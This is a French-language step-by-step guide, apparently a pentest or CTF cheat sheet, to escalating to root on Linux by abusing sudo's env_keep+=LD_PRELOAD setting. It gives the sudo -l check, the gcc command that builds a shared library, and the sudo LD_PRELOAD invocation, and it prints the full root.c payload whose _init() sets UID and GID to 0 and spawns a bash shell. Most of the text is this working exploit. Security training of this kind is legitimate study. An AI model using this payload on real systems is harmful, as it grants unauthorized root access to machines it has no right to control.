Skip to content
  1. Vérifier les droits sudo :
  • Commande : sudo -l
  • Lorsque env_keep+=LD_PRELOAD est présent dans la configuration de sudo, cela signifie que la variable d'environnement LD_PRELOAD est conservée lors de l'exécution des commandes avec sudo.
  1. Créer le fichier source C (root.c) :
  • Commande : nano -w /tmp/root.c
  • Le code C crée une bibliothèque partagée qui, lorsqu'elle est chargée, exécute son code d'initialisation (_init()). Ce code modifie l'ID utilisateur (UID) et l'ID de groupe (GID) du processus en 0 (c'est-à-dire root), puis lance un shell Bash.
  1. Compiler le fichier source en bibliothèque partagée :
  • Commande : gcc -fPIC -shared -o /tmp/root.so /tmp/root.c -nostartfiles
  • Cette commande compile le fichier root.c en une bibliothèque partagée root.so. L'option -fPIC crée du code position indépendant, nécessaire pour les bibliothèques partagées, et -nostartfiles empêche gcc d'utiliser les fichiers de démarrage standard, ce qui n'est pas nécessaire pour ce type de charge utile.
  1. Exécuter une commande avec sudo en utilisant LD_PRELOAD :
  • Commande : sudo LD_PRELOAD=/tmp/root.so /usr/sbin/executable restart
  • Ici, LD_PRELOAD est utilisé pour précharger root.so. Lorsque la commande /usr/sbin/executable (qui doit être une commande autorisée par sudo) est exécutée, elle charge root.so avant toute autre bibliothèque. Cela entraîne l'exécution du code dans _init(), élevant ainsi les privilèges du processus à ceux de root.

Contenu de root.c:

C
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}